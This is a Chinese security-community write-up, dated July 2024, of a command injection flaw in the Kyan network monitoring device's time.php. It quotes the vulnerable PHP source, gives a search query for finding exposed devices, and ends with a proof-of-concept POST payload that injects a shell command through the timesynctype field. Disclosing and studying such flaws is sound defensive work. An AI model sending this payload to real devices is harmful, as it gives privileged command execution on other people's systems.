奇安信攻防社区-Kyan 网络监控设备 time.php 远程命令执行漏洞

Kyan 网络监控设备 time.php 远程命令执行漏洞

# Kyan 网络监控设备 time.php 远程命令执行漏洞 ## 漏洞描述 Kyan 网络监控设备 time.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令...

Kyan 网络监控设备 time.php 远程命令执行漏洞
=============================

漏洞描述
----

Kyan 网络监控设备 time.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令执行漏洞

漏洞影响
----

Kyan

网络测绘
----

title="platform - Login"

漏洞复现
----

登录页面如下

![img](https://shs3.b.qianxin.com/butian_public/f8634986068118e8ae448d4ad213a86a88f858901acd6.jpg)

存在漏洞的文件: `/time.php`

```python
<?php
require_once 'functions.php';
require_once 'international.php';

session_start();
auth_check();

//showHeader('Route', array('table.css'));
if($_SERVER['REQUEST_METHOD'] == 'POST')
{
    if(!user_is_admin())
    {
        showErrMessage("permission denied");
        exit;
    }
    $timesynctype = $_POST["timesynctype"];
    if($timesynctype!="client")
    {
        $output = shell_exec("/bin/bashsuid -p -c \"/usr/sbin/ntpdate " .$timesynctype. "\"");
        showMessage($output);       
        shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\"");
    }else
    {
        $ctime = $_POST["ctime"];
        shell_exec("/bin/bashsuid -p -c \"date " .$ctime. "\"");
        shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\"");
    }
}
        echo "<html xmlns=\"http://www.w3.org/1999/xhtml\">\n";
        echo "  <head>\n";
        echo "    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n";
        echo "    <meta http-equiv=\"Content-Style-Type\" content=\"text/css\" />\n";
        echo "    <meta http-equiv=\"Content-Script-Type\" content=\"text/javascript\" />\n";
        echo "    <link type=\"text/css\" rel=\"stylesheet\" href=\"./templates/clean.css\" title=\"PSI_Template\"/>\n";
        echo "    <title>time</title>\n";
    echo "<style type=\"text/css\">";
    echo "th, td, h3 {";
    echo "font-size: 12px;";
    echo "}";
    echo "</style>";
        echo "  </head>\n";

//print_html_begin("time");
?>
<script language="javascript" type="text/javascript">
//因程序执行耗费时间,所以时间并不十分准确,误差大约在2000毫秒以下
var xmlHttp = false;
//获取服务器时间
try {
  xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
  try {
    xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
  } catch (e2) {
    xmlHttp = false;
  }
}

if (!xmlHttp && typeof XMLHttpRequest != 'undefined') {
  xmlHttp = new XMLHttpRequest();
}

xmlHttp.open("GET", "null.txt", false);
xmlHttp.setRequestHeader("Range", "bytes=-1");
xmlHttp.send(null);

severtime=new Date(xmlHttp.getResponseHeader("Date"));

//获取服务器日期
var year=severtime.getFullYear();
var month=severtime.getMonth()+1;
var date=severtime.getDate();
//获取服务器时间
var hour=severtime.getHours();
var minu=severtime.getMinutes();
var seco=severtime.getSeconds();
//获取客户端时间
localtime=new Date();
//取得时间差
var jtime=Math.abs(localtime.getTime()-severtime.getTime());
var jdate=jtime/(24*60*60*1000);
var jhour=jtime%(24*60*60*1000)/(60*60*1000);
var jminu=jtime%(24*60*60*1000)%(60*60*1000)/(60*1000);
var jsecond=jtime%(24*60*60*1000)%(60*60*1000)%(60*1000)/1000;

//格式化输出客户端时间
function getClientTime(){
localtime=new Date();
var cyear=localtime.getFullYear();
var cmonth=localtime.getMonth()+1;
var cdate=localtime.getDate();
var chour=localtime.getHours();
var cminu=localtime.getMinutes();
var cseco=localtime.getSeconds();

ccyear=addZero(cyear);
ccmonth=addZero(cmonth);
ccdate=addZero(cdate);
cchour=addZero(chour);
ccminu=addZero(cminu);
ccseco=addZero(cseco);

document.getElementById("servertime").innerHTML=syear+"-"+smonth+"-"+sdate+" "+shour+":"+sminu+":"+sseco;
 setTimeout("getSeverTime()",1000);
 setTimeout("getClientTime()",100);
}

function addZero(num) {
num=Math.floor(num);
return ((num <= 9) ? ("0" + num) : num);
}
function updatetime()
{
    return true;
}
</script>

<body onLoad="getSeverTime();">
<table style='width:500px' border='0' align='center' cellpadding='3' cellspacing='1'>
<th colspan="2"><?php echo lang_get('Timer'); ?></th>
<tr ><td align='right' width=50%><?php echo lang_get('System time')?></td><td align='left'><div id="servertime"></div></td></tr>
<tr ><td align='right'><?php echo lang_get('Client time')?></td><td align='left'><div id="clienttime"></div></td></tr>
<tr ><td colspan="2" align="center">
<form name="Form1" method="post" action=<?php echo $_SERVER['PHP_SELF']?>>
<input type="hidden" name="cdate" id="cdate" value=""/>
<input type="hidden" name="ctime" id="ctime" value=""/>
<?php echo lang_get('Sync Source');?>:
<select name="timesynctype" id="timesynctype" >
<option value="time.windows.com" selected="selected">time.windows.com</option>
<option value="time.nist.gov">time.nist.gov</option>
<?php 
/*$system_lic_file = '/mnt/licenses/system/system.dat';
$bsynctoclient=false;
if(file_exists($system_lic_file))
{
    $output = shell_exec("/bin/bashsuid -p -c \"openssl bf-cbc -K 000102030405060708090A0B0C0D0E0F -iv 0102030405060708 -d -in /mnt/licenses/system/system.dat |grep -v \"^;\"|grep Expire\"");
    if($output == "")
    {
        $bsynctoclient = true;
    }else
    {
        $bsynctoclient = false;
    }

}
if($bsynctoclient)
{*/
    echo "<option value=\"client\" >".lang_get('PC Client')."</option>";
/* } */

</select>
<input  type="submit" name="update" id="update" value="<?php echo lang_get('Update Now');?>" />
</form>
</td></tr>
</table>
</body>
</html>
<?php
//print_html_end();
?>
```

其中需要注意的地方

```python
if($_SERVER['REQUEST_METHOD'] == 'POST')
{
    if(!user_is_admin())
    {
        showErrMessage("permission denied");
        exit;
    }
    $timesynctype = $_POST["timesynctype"];
    if($timesynctype!="client")
    {
        $output = shell_exec("/bin/bashsuid -p -c \"/usr/sbin/ntpdate " .$timesynctype. "\"");
        showMessage($output);       
        shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\"");
    }else
    {
        $ctime = $_POST["ctime"];
        shell_exec("/bin/bashsuid -p -c \"date " .$ctime. "\"");
        shell_exec("/bin/bashsuid -p -c \"hwclock --systohc\"");
    }
}
```

参数均可控，构造POC

```python
POST /time.php

timesynctype=;id>2.txt
```

![img](https://shs3.b.qianxin.com/butian_public/f52954958aba066df56c2d6c5bdbc6b5cb12b943d793a.jpg)

发表于 2024-07-12 18:49:34
阅读 ( 954 )
分类：网络设备

Kyan 网络监控设备 time.php 远程命令执行漏洞

0 条评论